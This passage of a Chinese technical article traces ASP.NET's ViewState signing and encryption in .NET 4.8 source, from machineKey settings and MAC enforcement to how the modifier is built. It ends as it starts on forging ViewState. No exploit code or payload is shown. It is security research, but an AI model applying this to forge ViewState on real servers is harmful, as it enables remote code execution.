影响的是ViewState的生成，但是在解析从客户端提交的ViewState时，并不是依据此配置来判断是否要解密。详情见后面分析。
在web.config 中通过machineKey节 来对校验功能和加密功能进行进一步配置：
<machineKey validationKey="[String]" decryptionKey="[String]" validation="[SHA1 | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]" decryption="[Auto | DES | 3DES | AES | alg:algorithm_name]" />
例子：
<machineKey validationKey="BF579EF0E9F0C85277E75726BFC9D0260FADE8DE2864A583484AA132944F602D" decryptionKey="51FE611365277B07911521B7CAFE3766751D16C33D96242F0E63E93FB102BCE2" validation="HMACSHA256" />
其中的 **validationKey** 和 **decryptionKey** 分别是校验和加密所用的密钥， **validation** 和
**decryption** 则是校验和加密所使用的算法（可以省略，采用默认算法）。校验算法包括： SHA1、 MD5、 3DES、 AE、
HMACSHA256、 HMACSHA384、 HMACSHA512。加密算法包括：DES、3DES、AES。 由于web.config
保存在服务端上，在不泄露machineKey的情况下，保证了ViewState的安全性。
了解了一些关于ViewState的配置后，我们再来看一下.NET Framework 到底是如何处理ViewState的生成与解析的。
### 4\. ViewState的生成和解析流程
根据一些先验知识，我们知道ViewState 是通过ObjectStateFormatter的 **Serialize** 和
**Deserialize** 来完成ViewState的序列化和反序列化工作。（LosFormatter
也用于ViewState的序列化，但是目前其已被ObjectStateFormatter替代。LosFormatter的Serialize
是直接调用的ObjectStateFormatter 的Serialize）
ObjectStateFormatter 位于System.Web.UI 空间，我们给他的
Serialize函数下个断点（重载有多个Serialize函数，注意区分）。使用dnspy 调试，中断后查看栈回溯信息：
通过栈回溯，我们可以清晰的看到Page类通过调用 SaveAllState 进入到ObjectStateFormatter的 Seralize 函数。
#### 4.1 Serialize 流程
查看Serialize 函数的代码（这里我使用.Net 4.8 的源码，有注释，更清晰）：
private string Serialize(object stateGraph, Purpose purpose) {
string result = null;
MemoryStream ms = GetMemoryStream();
try {
Serialize(ms, stateGraph);
ms.SetLength(ms.Position);
byte[] buffer = ms.GetBuffer();
int length = (int)ms.Length;
#if !FEATURE_PAL // FEATURE_PAL does not enable cryptography
// We only support serialization of encrypted or encoded data through our internal Page constructors
if (AspNetCryptoServiceProvider.Instance.IsDefaultProvider && !_forceLegacyCryptography) {
// If we're configured to use the new crypto providers, call into them if encryption or signing (or both) is requested.
...
}
else {
// Otherwise go through legacy crypto mechanisms
#pragma warning disable 618 // calling obsolete methods
if (_page != null && _page.RequiresViewStateEncryptionInternal) {
buffer = MachineKeySection.EncryptOrDecryptData(true, buffer, GetMacKeyModifier(), 0, length);
length = buffer.Length;
}
// We need to encode if the page has EnableViewStateMac or we got passed in some mac key string
else if ((_page != null && _page.EnableViewStateMac) || _macKeyBytes != null) {
buffer = MachineKeySection.GetEncodedData(buffer, GetMacKeyModifier(), 0, ref length);
}
#pragma warning restore 618 // calling obsolete methods
}
#endif // !FEATURE_PAL
result = Convert.ToBase64String(buffer, 0, length);
}
finally {
ReleaseMemoryStream(ms);
}
return result;
}
在函数开头处，调用了另一个重载的Serialzie函数，作用是将stateGraph 序列化为binary数据：
MemoryStream ms = GetMemoryStream();
try {
Serialize(ms, stateGraph);
ms.SetLength(ms.Position);
...
之后进入else分支：
if (_page != null && _page.RequiresViewStateEncryptionInternal) {
buffer = MachineKeySection.EncryptOrDecryptData(true, buffer, GetMacKeyModifier(), 0, length);
length = buffer.Length;
}
// We need to encode if the page has EnableViewStateMac or we got passed in some mac key string
else if ((_page != null && _page.EnableViewStateMac) || _macKeyBytes != null) {
buffer = MachineKeySection.GetEncodedData(buffer, GetMacKeyModifier(), 0, ref length);
}
这里有两个重要标志位， _page.RequiresViewStateEncryptionInternal 和
_page.EnableViewStateMac。这两个标志位决定了序列化的Binary数据 是进入
**MachineKeySection.EncryptOrDecryptData()** 函数还是
**MachineKeySection.GetEncodedData()** 函数。
其中EncryptOrDecryptData() 函数用于加密以及可选择的进行签名(校验)，而GetEncodedData()
则只用于签名(校验)。稍后我们再具体分析这两个函数，我们先来研究一下这两个标志位。
这两个标志位决定了服务端产生的ViewState采取了什么安全措施。这与之前所描述的web.config 中的EnableViewStateMac 和
viewStateEncryptionMode的作用一致。
_page.RequiresViewStateEncryptionInternal 来自这里：
internal bool RequiresViewStateEncryptionInternal {
get {
return ViewStateEncryptionMode == ViewStateEncryptionMode.Always ||
_viewStateEncryptionRequested && ViewStateEncryptionMode == ViewStateEncryptionMode.Auto;
}
}
其中的ViewStateEncryptionMode 应当是直接来自web.config。所以是否进入
MachineKeySection.EncryptOrDecryptData 取决于web.config
里的配置。（注意，进入该函数不仅会进行加密，也会进行签名）。
_page.EnableViewStateMac 来自这里：
public bool EnableViewStateMac {
get { return _enableViewStateMac; }
set {
// DevDiv #461378: EnableViewStateMac=false can lead to remote code execution, so we
// have an mechanism that forces this to keep its default value of 'true'. We only
// allow actually setting the value if this enforcement mechanism is inactive.
if (!EnableViewStateMacRegistryHelper.EnforceViewStateMac) {
_enableViewStateMac = value;
}
}
}
对应字段 _enableViewStateMac 在Page类的初始化函数中被设置为默认值 true:
public Page() {
_page = this; // Set the page to ourselves
_enableViewStateMac = EnableViewStateMacDefault;
...
}
于是 _enableViewStateMac 是否被修改就取决于
EnableViewStateMacRegistryHelper.EnforceViewStateMac。
查看 EnableViewStateMacRegistryHelper 类，其为EnforceViewStateMac 做了如下注释：
// Returns 'true' if the EnableViewStateMac patch (DevDiv #461378) is enabled,
// meaning that we always enforce EnableViewStateMac=true. Returns 'false' if
// the patch hasn't been activated on this machine.
public static readonly bool EnforceViewStateMac;
也就是说：在启用EnableViewStateMac补丁的情况下，EnforceViewStateMac 返回true，这表示
前面的EnableViewStateMac 标志位会始终保持其默认值true。
在EnableViewStateMacRegistryHelper 类的初始化函数中，进一步表明了是依据什么修改 EnforceViewStateMac的：
static EnableViewStateMacRegistryHelper() {
// If the reg key is applied, change the default values.
bool regKeyIsActive = IsMacEnforcementEnabledViaRegistry();
if (regKeyIsActive) {
EnforceViewStateMac = true;
SuppressMacValidationErrorsFromCrossPagePostbacks = true;
}
// Override the defaults with what the developer specified.
if (AppSettings.AllowInsecureDeserialization.HasValue) {
EnforceViewStateMac = !AppSettings.AllowInsecureDeserialization.Value;
// Exception: MAC errors from cross-page postbacks should be suppressed
// if either the <appSettings> switch is set or the reg key is set.
SuppressMacValidationErrorsFromCrossPagePostbacks |= !AppSettings.AllowInsecureDeserialization.Value;
}
...
可以看到EnforceViewStateMac 在两种情况下被修改：
* 依据 IsMacEnforcementEnabledViaRegistry() 函数
该函数是从注册表里取值，如果该表项为0，则表示禁用EnableViewStateMac 补丁。
private static bool IsMacEnforcementEnabledViaRegistry() {
try {
string keyName = String.Format(CultureInfo.InvariantCulture, @"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{0}", Environment.Version.ToString(3));
int rawValue = (int)Registry.GetValue(keyName, "AspNetEnforceViewStateMac", defaultValue: 0 /* disabled by default */);
return (rawValue != 0);
}
catch {
// If we cannot read the registry for any reason, fail safe and assume enforcement is enabled.
return true;
}
}
* 依据 AppSettings.AllowInsecureDeserialization.HasValue
该值应当是来自于web.config 中的危险设置:
<configuration>
…
<appSettings>
<add key="aspnet:AllowInsecureDeserialization" value="true" />
</appSettings>
</configuration>
总结来说，ViewStateMac 默认强制开启，要想关闭该功能，必须通过注册表或者在web.config 里进行危险设置的方式禁用
EnableViewStateMac 补丁才能实现。
#### 4.2 Deserialize 流程
查看 Deserialize 函数的代码：
private object Deserialize(string inputString, Purpose purpose) {
if (String.IsNullOrEmpty(inputString)) {
throw new ArgumentNullException("inputString");
}
byte[] inputBytes = Convert.FromBase64String(inputString);
int length = inputBytes.Length;
#if !FEATURE_PAL // FEATURE_PAL does not enable cryptography
try {
if (AspNetCryptoServiceProvider.Instance.IsDefaultProvider && !_forceLegacyCryptography) {
// If we're configured to use the new crypto providers, call into them if encryption or signing (or both) is requested.
...
}
else {
// Otherwise go through legacy crypto mechanisms
#pragma warning disable 618 // calling obsolete methods
if (_page != null && _page.ContainsEncryptedViewState) {
inputBytes = MachineKeySection.EncryptOrDecryptData(false, inputBytes, GetMacKeyModifier(), 0, length);
length = inputBytes.Length;
}
// We need to decode if the page has EnableViewStateMac or we got passed in some mac key string
else if ((_page != null && _page.EnableViewStateMac) || _macKeyBytes != null) {
inputBytes = MachineKeySection.GetDecodedData(inputBytes, GetMacKeyModifier(), 0, length, ref length);
}
#pragma warning restore 618 // calling obsolete methods
}
}
catch {
// MSRC 10405: Don't propagate inner exceptions, as they may contain sensitive cryptographic information.
PerfCounters.IncrementCounter(AppPerfCounter.VIEWSTATE_MAC_FAIL);
ViewStateException.ThrowMacValidationError(null, inputString);
}
#endif // !FEATURE_PAL
object result = null;
MemoryStream objectStream = GetMemoryStream();
try {
objectStream.Write(inputBytes, 0, length);
objectStream.Position = 0;
result = Deserialize(objectStream);
}
finally {
ReleaseMemoryStream(objectStream);
}
return result;
}
重点仍然是里面的else分支：
else {
// Otherwise go through legacy crypto mechanisms
if (_page != null && _page.ContainsEncryptedViewState) {
inputBytes = MachineKeySection.EncryptOrDecryptData(false, inputBytes, GetMacKeyModifier(), 0, length);
length = inputBytes.Length;
}
// We need to decode if the page has EnableViewStateMac or we got passed in some mac key string
else if ((_page != null && _page.EnableViewStateMac) || _macKeyBytes != null) {
inputBytes = MachineKeySection.GetDecodedData(inputBytes, GetMacKeyModifier(), 0, length, ref length);
}
}
这里出现了一个新的标志位 _page.ContainsEncryptedViewState
用于决定是否进入MachineKeySection.EncryptOrDecryptData()
函数进行解密，查看ContainsEncryptedViewState 的来历：
if (_requestValueCollection != null) {
// Determine if viewstate was encrypted.
if (_requestValueCollection[ViewStateEncryptionID] != null) {
ContainsEncryptedViewState = true;
}
...
注释表明，该标志确实用于判断接收到的viewstate 是否被加密。查看dnspy逆向的结果，你会更清晰：
这 "__VIEWSTATEENCRYPTED" 很像是request 里提交的字段啊，查找一下，确实如此。
查看开启加密后的 request 请求，确实有这样一个无值的字段：
所以，ASP.NET在解析ViewState时，并不是根据web.config来判断 ViewState
是否加密，而是通过request里是否有__VIEWSTATEENCRYPTED 字段进行判断。换句话说，即使我们在web.config 里设置
Always 解密，服务端仍然会被动解析只有签名的ViewState。（ 我在 YsoSerial.NET 工具
ViewState插件作者的博客里看到，.net 4.5 之后需要加密算法和密钥。但是我不明白为什么，在实际测试中似乎也不需要。）
### 5\. GetEncodedData 签名函数
GetEncodedData() 函数用于对序列化后的Binary数据进行签名，用于完整性校验。查看其代码(.NET 4.8):
// NOTE: When encoding the data, this method *may* return the same reference to the input "buf" parameter
// with the hash appended in the end if there's enough space. The "length" parameter would also be
// appropriately adjusted in those cases. This is an optimization to prevent unnecessary copying of
// buffers.
[Obsolete(OBSOLETE_CRYPTO_API_MESSAGE)]
internal static byte[] GetEncodedData(byte[] buf, byte[] modifier, int start, ref int length)
{
EnsureConfig();
byte[] bHash = HashData(buf, modifier, start, length);
byte[] returnBuffer;
if (buf.Length - start - length >= bHash.Length)
{
// Append hash to end of buffer if there's space
Buffer.BlockCopy(bHash, 0, buf, start + length, bHash.Length);
returnBuffer = buf;
}
else
{
returnBuffer = new byte[length + bHash.Length];
Buffer.BlockCopy(buf, start, returnBuffer, 0, length);
Buffer.BlockCopy(bHash, 0, returnBuffer, length, bHash.Length);
start = 0;
}
length += bHash.Length;
if (s_config.Validation == MachineKeyValidation.TripleDES || s_config.Validation == MachineKeyValidation.AES) {
returnBuffer = EncryptOrDecryptData(true, returnBuffer, modifier, start, length, true);
length = returnBuffer.Length;
}
return returnBuffer;
}
大致流程：
* HashData()函数计算出hash值。
* 判断原buffer长度是否够，如果够，则直接在原buffer中data后添加hash值；否则申请新的buf，并将data和hash值拷贝过去。
* 判断hash算法是否是3DES 或者 AES，如果是，则调用EncryptOrDecryptData() 函数。
我们首先来看一下HashData函数：
internal static byte[] HashData(byte[] buf, byte[] modifier, int start, int length)
{
EnsureConfig();
if (s_config.Validation == MachineKeyValidation.MD5)
return HashDataUsingNonKeyedAlgorithm(null, buf, modifier, start, length, s_validationKey);
if (_UseHMACSHA) {
byte [] hash = GetHMACSHA1Hash(buf, modifier, start, length);
if (hash != null)
return hash;
}
if (_CustomValidationTypeIsKeyed) {
return HashDataUsingKeyedAlgorithm(KeyedHashAlgorithm.Create(_CustomValidationName),
buf, modifier, start, length, s_validationKey);
} else {
return HashDataUsingNonKeyedAlgorithm(HashAlgorithm.Create(_CustomValidationName),
buf, modifier, start, length, s_validationKey);
}
}
这里有几个特殊的标志位：s_config.Validation、_UseHMACSHA、_CustomValidationTypeIsKeyed，用来决定进入哪个函数生成hash。
s_config.Validation 应当是web.config 中设置的签名算法。
而另外两个标志则源自于 InitValidationAndEncyptionSizes() 函数里根据签名算法进行的初始化设置：
private void InitValidationAndEncyptionSizes()
{
_CustomValidationName = ValidationAlgorithm;
_CustomValidationTypeIsKeyed = true;
switch(ValidationAlgorithm)
{
case "AES":
case "3DES":
_UseHMACSHA = true;
_HashSize = SHA1_HASH_SIZE;
_AutoGenValidationKeySize = SHA1_KEY_SIZE;
break;
case "SHA1":
_UseHMACSHA = true;
_HashSize = SHA1_HASH_SIZE;
_AutoGenValidationKeySize = SHA1_KEY_SIZE;
break;
case "MD5":
_CustomValidationTypeIsKeyed = false;
_UseHMACSHA = false;
_HashSize = MD5_HASH_SIZE;
_AutoGenValidationKeySize = MD5_KEY_SIZE;
break;
case "HMACSHA256":
_UseHMACSHA = true;
_HashSize = HMACSHA256_HASH_SIZE;
_AutoGenValidationKeySize = HMACSHA256_KEY_SIZE;
break;
case "HMACSHA384":
_UseHMACSHA = true;
_HashSize = HMACSHA384_HASH_SIZE;
_AutoGenValidationKeySize = HMACSHA384_KEY_SIZE;
break;
case "HMACSHA512":
_UseHMACSHA = true;
_HashSize = HMACSHA512_HASH_SIZE;
_AutoGenValidationKeySize = HMACSHA512_KEY_SIZE;
break;
default:
...
可以看到，只有MD5签名算法将 _UseHMASHA设置为false，其他算法都将其设置为true。除此之外，还根据签名算法设置_HashSize
为相应hash长度。所以计算MD5 hahs时进入 HashDataUsingNonKeyedAlgorithm()函数，计算其他算法hash时进入
GetHMACSHA1Hash() 函数。
我们先看使用MD5签名算法时进入的 HashDataUsingNonKeyedAlgorithm() 函数：
private static byte[] HashDataUsingNonKeyedAlgorithm(HashAlgorithm hashAlgo, byte[] buf, byte[] modifier,
int start, int length, byte[] validationKey)
{
int totalLength = length + validationKey.Length + ((modifier != null) ? modifier.Length : 0);
byte [] bAll = new byte[totalLength];
Buffer.BlockCopy(buf, start, bAll, 0, length);
if (modifier != null) {
Buffer.BlockCopy(modifier, 0, bAll, length, modifier.Length);
}
Buffer.BlockCopy(validationKey, 0, bAll, length, validationKey.Length);
if (hashAlgo != null) {
return hashAlgo.ComputeHash(bAll);
} else {
byte[] newHash = new byte[MD5_HASH_SIZE];
int hr = UnsafeNativeMethods.GetSHA1Hash(bAll, bAll.Length, newHash, newHash.Length);
Marshal.ThrowExceptionForHR(hr);
return newHash;
}
}
这里的modifier 的来源我们稍后再议，其长度一般为4个字节。HashDataUsingNonKeyedAlgorithm() 函数流程如下：
* 申请一块新的内存，其长度为data length + validationkey.length + modifier.length
* 将data，modifier，validationkey 拷贝到新分配的内存里。特殊的是，modifier 和 vavlidationkey 都是从紧挨着data的地方开始拷贝，这就导致了validationkey 会 覆盖掉modifier。所以真正的内存分配为： data + validationkey + '\x00'*modifier.length
* 根据MD5算法设置hash长度，即newHash。关于这一点，代码中有各种算法产生hash值的长度设定：
private const int MD5_KEY_SIZE = 64;
private const int MD5_HASH_SIZE = 16;
private const int SHA1_KEY_SIZE = 64;
private const int HMACSHA256_KEY_SIZE = 64;
private const int HMACSHA384_KEY_SIZE = 128;
private const int HMACSHA512_KEY_SIZE = 128;
private const int SHA1_HASH_SIZE = 20;
private const int HMACSHA256_HASH_SIZE = 32;
private const int HMACSHA384_HASH_SIZE = 48;
private const int HMACSHA512_HASH_SIZE = 64;
各种算法对应的Hash长度分别为 MD5:16 SHA1:20 MACSHA256:32 HMACSHA384:48 HMACSHA512:64,
全都不同。
* 调用UnsafeNativeMethods.GetSHA1Hash() 函数进行hash计算。该函数是从webengine4.dll 里导入的一个函数。第一次看到这里，我有一些疑问，为什么MD5算法要调用GetSHA1Hash函数呢？这个疑问先保留。我们先看其他算法是如何生成hash的。
计算其他算法的hash时调用了一个自己写的GetHMACSHA1Hash() 函数，其实现如下：
private static byte[] GetHMACSHA1Hash(byte[] buf, byte[] modifier, int start, int length) {
if (start < 0 || start > buf.Length)
throw new ArgumentException(SR.GetString(SR.InvalidArgumentValue, "start"));
if (length < 0 || buf == null || (start + length) > buf.Length)
throw new ArgumentException(SR.GetString(SR.InvalidArgumentValue, "length"));
byte[] hash = new byte[_HashSize];
int hr = UnsafeNativeMethods.GetHMACSHA1Hash(buf, start, length,
modifier, (modifier == null) ? 0 : modifier.Length,
s_inner, s_inner.Length, s_outer, s_outer.Length,
hash, hash.Length);
if (hr == 0)
return hash;
_UseHMACSHA = false;
return null;
}
可以看到，其内部直接调用的UnsafeNativeMethods.GetHMACSHA1Hash()
函数，该函数也是从webengine4.dll里导入的一个函数。和之前看生成MD5
hash值时有一样的疑问，为什么是GetHMACSHA1HAsh？为什么多种算法都进入这一个函数？根据他们参数的特点，而且之前看到各个算法生成hash的长度不同，我们可以猜测，或许是该函数内部根据hash长度来选择使用什么算法。
把 webengine4.dll 拖进ida里。查看GetSHA1Hash() 函数和 GetHMACSHA1Hash() 函数，特点如下：
GetHMACSHA1Hash:
二者都进入了GetAlgorithmBasedOnHashSize() 函数，看来我们的猜测没错，确实是通过hash长度来选择算法。
### 6\. EncryptOrDecryptData 加密解密函数
我们之前看到，无论是开启加密的情况下，还是采用AES\3DES签名算法的情况下，都会进入
MachineKeySection.EncryptOrDecryptData() 函数，那么该函数内部是怎么样的流程呢？
先来看一下该函数的声明和注释：
internal static byte[] EncryptOrDecryptData(bool fEncrypt, byte[] buf, byte[] modifier, int start, int length, bool useValidationSymAlgo, bool useLegacyMode, IVType ivType, bool signData)
/* This algorithm is used to perform encryption or decryption of a buffer, along with optional signing (for encryption)
* or signature verification (for decryption). Possible operation modes are:
*
* ENCRYPT + SIGN DATA (fEncrypt = true, signData = true)
* Input: buf represents plaintext to encrypt, modifier represents data to be appended to buf (but isn't part of the plaintext itself)
* Output: E(iv + buf + modifier) + HMAC(E(iv + buf + modifier))
*
* ONLY ENCRYPT DATA (fEncrypt = true, signData = false)
* Input: buf represents plaintext to encrypt, modifier represents data to be appended to buf (but isn't part of the plaintext itself)
* Output: E(iv + buf + modifier)
*
* VERIFY + DECRYPT DATA (fEncrypt = false, signData = true)
* Input: buf represents ciphertext to decrypt, modifier represents data to be removed from the end of the plaintext (since it's not really plaintext data)
* Input (buf): E(iv + m + modifier) + HMAC(E(iv + m + modifier))
* Output: m
*
* ONLY DECRYPT DATA (fEncrypt = false, signData = false)
* Input: buf represents ciphertext to decrypt, modifier represents data to be removed from the end of the plaintext (since it's not really plaintext data)
* Input (buf): E(iv + plaintext + modifier)
* Output: m
*
* The 'iv' in the above descriptions isn't an actual IV. Rather, if ivType = IVType.Random, we'll prepend random bytes ('iv')
* to the plaintext before feeding it to the crypto algorithms. Introducing randomness early in the algorithm prevents users
* from inspecting two ciphertexts to see if the plaintexts are related. If ivType = IVType.None, then 'iv' is simply
* an empty string. If ivType = IVType.Hash, we use a non-keyed hash of the plaintext.
*
* The 'modifier' in the above descriptions is a piece of metadata that should be encrypted along with the plaintext but
* which isn't actually part of the plaintext itself. It can be used for storing things like the user name for whom this
* plaintext was generated, the page that generated the plaintext, etc. On decryption, the modifier parameter is compared
* against the modifier stored in the crypto stream, and it is stripped from the message before the plaintext is returned.
*
* In all cases, if something goes wrong (e.g. invalid padding, invalid signature, invalid modifier, etc.), a generic exception is thrown.
*/
注释开头说明：该函数用于加密/解密，可选择的进行签名/校验。一共有4中情况：加密+签名、只加密、解密+校验、只解密。重点是其中的加密+签名、解密+校验。
* 加密+签名：fEncrypt = true, signData = true
输入：待加密的原始数据，modifier
输出：E(iv + buf + modifier) + HMAC(E(iv + buf + modifier))
（上述公式中E表示加密，HMAC表示签名）
* 解密+校验：fEncrypt = false, signData = true
输入：带解密的加密数据，modifier，buf 即为上面的 E(iv + m + modifier) + HMAC(E(iv + m +
modifier))
输出：m
老实说，只看注释，我们似乎已经可以明白该函数是如何进行加密和签名的了，操起python
就可以学习伪造加密的viewstate了（开玩笑）。不过我们还是看一下他的代码：
internal static byte[] EncryptOrDecryptData(bool fEncrypt, byte[] buf, byte[] modifier, int start, int length, bool useValidationSymAlgo, bool useLegacyMode, IVType ivType, bool signData)
该函数有9个参数：
* 第1个参数 fEncrypt 表示是加密还是解密，true为加密，false 为解密；
* 第2~5个参数 buf、modifier、start、length 为与原始数据相关；
* 第6个参数 useValidationSymAlgo 表示加密是否使用与签名相同的算法；
* 第7个参数useLegacyMode 与自定义算法有关，一般为false；
* 第8个参数 ivType与加密中使用的初始向量iv 有关，根据注释，旧的 IPType.Hash 已经被去除，现在默认使用IPType.Random；
* 第9个参数 signData 表示是否签名/校验。
关于第6个参数 useValidationSymAlgo 有一些细节要说：
我们知道，在Serialize 函数下有两种情况会进入 EncryptOrDecryptData 函数：
（1）由于web.config 配置中开启加密功能，直接进入 EncryptOrDecryptData() 函数：
此时EncryptOrDecryptData () 参数有5个。
（2）在进入GetEncodeData() 函数后，由于使用了AES/3DES 签名算法，导致再次进入 EncryptOrDecryptData() 函数:
此时EncryptOrDecryptData () 参数有6个。
二者参数个数不同，说明是进入了不同的重载函数。
细细观察会发现，由于使用了AES/3DES签名算法导致进入 EncryptOrDecryptData () 时，第6个参数
useValidationSymAlgo 为true。意义何在呢？因为先进入GetEncodedData()
函数，说明没有开启加密功能，此时由于使用的是AES/3DES签名算法，导致需要在签名后再次EncryptOrDecryptData ()
函数。进入EncryptOrDecryptData()
就需要决定使用什么加密算法。所以第6个参数为true，表示加密使用和签名同样的算法。另外多说一句，这种情况下会有两次签名，在GetEncodedData()
里一次，进入EncryptOrDecryptData() 后又一次（后面会看到）。
下面代码将有关解密和校验的操作隐去，只介绍加密与签名的部分。
// 541~543行
System.IO.MemoryStream ms = new System.IO.MemoryStream();
ICryptoTransform cryptoTransform = GetCryptoTransform(fEncrypt, useValidationSymAlgo, useLegacyMode);
CryptoStream cs = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write);
这一段是先调用GetCryptoTransform 获取加密工具，而后通过CryptoStream
将数据流链接到加密转换流。不了解这一过程的可以查看微软[相关文档](https://docs.microsoft.com/zh-cn/dotnet/api/system.security.cryptography.cryptostream?view=netcore-3.1)。
关键在于GetCryptoTransform() 是如何选择加密工具的？该函数的3个参数中似乎并无算法相关。观其代码：
private static ICryptoTransform GetCryptoTransform(bool fEncrypt, bool useValidationSymAlgo, bool legacyMode)
{
SymmetricAlgorithm algo = (legacyMode ? s_oSymAlgoLegacy : (useValidationSymAlgo ? s_oSymAlgoValidation : s_oSymAlgoDecryption));
lock(algo)
return (fEncrypt ? algo.CreateEncryptor() : algo.CreateDecryptor());
}
algo 表示相应的算法类，那么关键便是 s_oSymAlgoValidation 和 s_oSymAlgoDecryption，察其来历：
ConfigureEncryptionObject() 函数：
switch (Decryption)
{
case "3DES":
s_oSymAlgoDecryption = CryptoAlgorithms.CreateTripleDES();
break;
case "DES":
s_oSymAlgoDecryption = CryptoAlgorithms.CreateDES();
break;
case "AES":
s_oSymAlgoDecryption = CryptoAlgorithms.CreateAes();
break;
case "Auto":
if (dKey.Length == 8) {
s_oSymAlgoDecryption = CryptoAlgorithms.CreateDES();
} else {
s_oSymAlgoDecryption = CryptoAlgorithms.CreateAes();
}
break;
}
if (s_oSymAlgoDecryption == null) // Shouldn't happen!
InitValidationAndEncyptionSizes();
switch(Validation)
{
case MachineKeyValidation.TripleDES:
if (dKey.Length == 8) {
s_oSymAlgoValidation = CryptoAlgorithms.CreateDES();
} else {
s_oSymAlgoValidation = CryptoAlgorithms.CreateTripleDES();
}
break;
case MachineKeyValidation.AES:
s_oSymAlgoValidation = CryptoAlgorithms.CreateAes();
break;
}
看来在网站初始化时就已将相应的加密类分配好了。
继续观察 EncryptOrDecryptData() 的代码：
// 第545~579行
// DevDiv Bugs 137864: Add IV to beginning of data to be encrypted.
// IVType.None is used by MembershipProvider which requires compatibility even in SP2 mode (and will set signData = false).
// MSRC 10405: If signData is set to true, we must generate an IV.
bool createIV = signData || ((ivType != IVType.None) && (CompatMode > MachineKeyCompatibilityMode.Framework20SP1));
if (fEncrypt && createIV)
{
int ivLength = (useValidationSymAlgo ? _IVLengthValidation : _IVLengthDecryption);
byte[] iv = null;
switch (ivType) {
case IVType.Hash:
// iv := H(buf)
iv = GetIVHash(buf, ivLength);
break;
case IVType.Random:
// iv := [random]
iv = new byte[ivLength];
RandomNumberGenerator.GetBytes(iv);
break;
}
Debug.Assert(iv != null, "Invalid value for IVType: " + ivType.ToString("G"));
cs.Write(iv, 0, iv.Length);
}
cs.Write(buf, start, length);
if (fEncrypt && modifier != null)
{
cs.Write(modifier, 0, modifier.Length);
}
cs.FlushFinalBlock();
byte[] paddedData = ms.ToArray();
这一段开头是在生成IV。IV是加密时使用的初始向量，应保证其随机性，防止重复IV导致密文被破解。
* ivLength为64。这里随机生成64个字节作为iv。
* 三次调用 cs.Write()，分别写入iv、buf、modifier。cs即为前面生成的CryptoStream类实例，用于将数据流转接到加密流。这里与我们前面所说的公式 E(iv + buf + modifier) 对应上了。
* 调用ms.ToArray() ，即返回加密完成后的生成的字节序列。
继续观察 EncryptOrDecryptData() 的代码：
// 第550~644行
// DevDiv Bugs 137864: Strip IV from beginning of unencrypted data
if (!fEncrypt && createIV)
{
// strip off the first bytes that were random bits
...
}
else
{
bData = paddedData;
}
...
// At this point:
// If fEncrypt = true (encrypting), bData := Enc(iv + buf + modifier)
// If fEncrypt = false (decrypting), bData := plaintext
if (fEncrypt && signData) {
byte[] hmac = HashData(bData, null, 0, bData.Length);
byte[] bData2 = new byte[bData.Length + hmac.Length];
Buffer.BlockCopy(bData, 0, bData2, 0, bData.Length);
Buffer.BlockCopy(hmac, 0, bData2, bData.Length, hmac.Length);
bData = bData2;
}
// At this point:
// If fEncrypt = true (encrypting), bData := Enc(iv + buf + modifier) + HMAC(Enc(iv + buf + modifier))
// If fEncrypt = false (decrypting), bData := plaintext
// And we're done
return bData;
这里是最后一部，将加密后生成的字节序列传给HashData，让其生成hash值，并缀在字节序列后面。
这就与前面的公式 E(iv + buf + modifier) + HMAC(E(iv + buf + modifier)) 对应上了。
看完 EncryptOrDecryptData() 函数的代码，我么也明白了其流程，总结下来其实就一个公式，没错就是 E(iv + buf +
modifier) + HMAC(E(iv + buf + modifier)) 。
### 7\. modifier 的来历
在前面进行签名和加密的过程中，都使用了一个关键变量叫做modifier，该变量同密钥一起用于签名和加密。该变量来自于 GetMacKeyModifier()
函数:
// This will return the MacKeyModifier provided in the LOSFormatter constructor or
// generate one from Page if EnableViewStateMac is true.
private byte[] GetMacKeyModifier() {
if (_macKeyBytes == null) {
// Only generate a MacKeyModifier if we have a page
if (_page == null) {
return null;
}
// Note: duplicated (somewhat) in GetSpecificPurposes, keep in sync
// Use the page's directory and class name as part of the key (ASURT 64044)
uint pageHashCode = _page.GetClientStateIdentifier();
string viewStateUserKey = _page.ViewStateUserKey;
if (viewStateUserKey != null) {
// Modify the key with the ViewStateUserKey, if any (ASURT 126375)
int count = Encoding.Unicode.GetByteCount(viewStateUserKey);
_macKeyBytes = new byte[count + 4];
Encoding.Unicode.GetBytes(viewStateUserKey, 0, viewStateUserKey.Length, _macKeyBytes, 4);
}
else {
_macKeyBytes = new byte[4];
}
_macKeyBytes[0] = (byte)pageHashCode;
_macKeyBytes[1] = (byte)(pageHashCode >> 8);
_macKeyBytes[2] = (byte)(pageHashCode >> 16);
_macKeyBytes[3] = (byte)(pageHashCode >> 24);
}
return _macKeyBytes;
}
函数流程：
1. 函数开头先通过 _page.GetClientStateIdentifier 计算出一个 pageHashCode；
2. 如果有viewStateUserKey，则modifier = pageHashCode + ViewStateUsereKey;
3. 如果没有viewStateUserKey，则modifier = pageHashCode
先看pageHashCode 来历：
// This is a non-cryptographic hash code that can be used to identify which Page generated
// a __VIEWSTATE field. It shouldn't be considered sensitive information since its inputs
// are assumed to be known by all parties.
internal uint GetClientStateIdentifier() {
// Use non-randomized hash code algorithms instead of String.GetHashCode.
// Use the page's directory and class name as part of the key (ASURT 64044)
// We need to make sure that the hash is case insensitive, since the file system
// is, and strange view state errors could otherwise happen (ASURT 128657)
int pageHashCode = StringUtil.GetNonRandomizedHashCode(TemplateSourceDirectory, ignoreCase:true);
pageHashCode += StringUtil.GetNonRandomizedHashCode(GetType().Name, ignoreCase:true);
return (uint)pageHashCode;
}
从注释中也可以看出，计算出directory 和 class name 的hash值，相加并返回。这样pageHashCode
就有4个字节了。所以我们可以手动计算一个页面的 pageHashCode，directory 和 class name
应当分别是网站集路径和网站集合名称。除此之外也可以从页面中的隐藏字段"__VIEWSTATEGENERATOR" 中提取。便如下图：
"__VIEWSTATEGENERATOR" 与 pageHashCode 的关系在这里：
再看ViewStateUserKey 的来历：
按照官方说法：ViewStateUserKey 即 ：在与当前页面关联的ViewState 变量中为单个用户分配标识符。
可见，ViewStateUserKey 是一个随机字符串值，且要保证与用户关联。如果网站使用了ViewStateUserKey，我们应当在SessionID
或 cookie 中去猜。在CVE-20202-0688 中，便是取 SessionID 作为ViewStateUserKey。
### 8\. 伪造ViewState
经过上面长篇大论的贴代码、分析。我们已经大致明白了ASP.NET 生成和解析ViewState 的流程。这有助帮助我们理解如何伪造
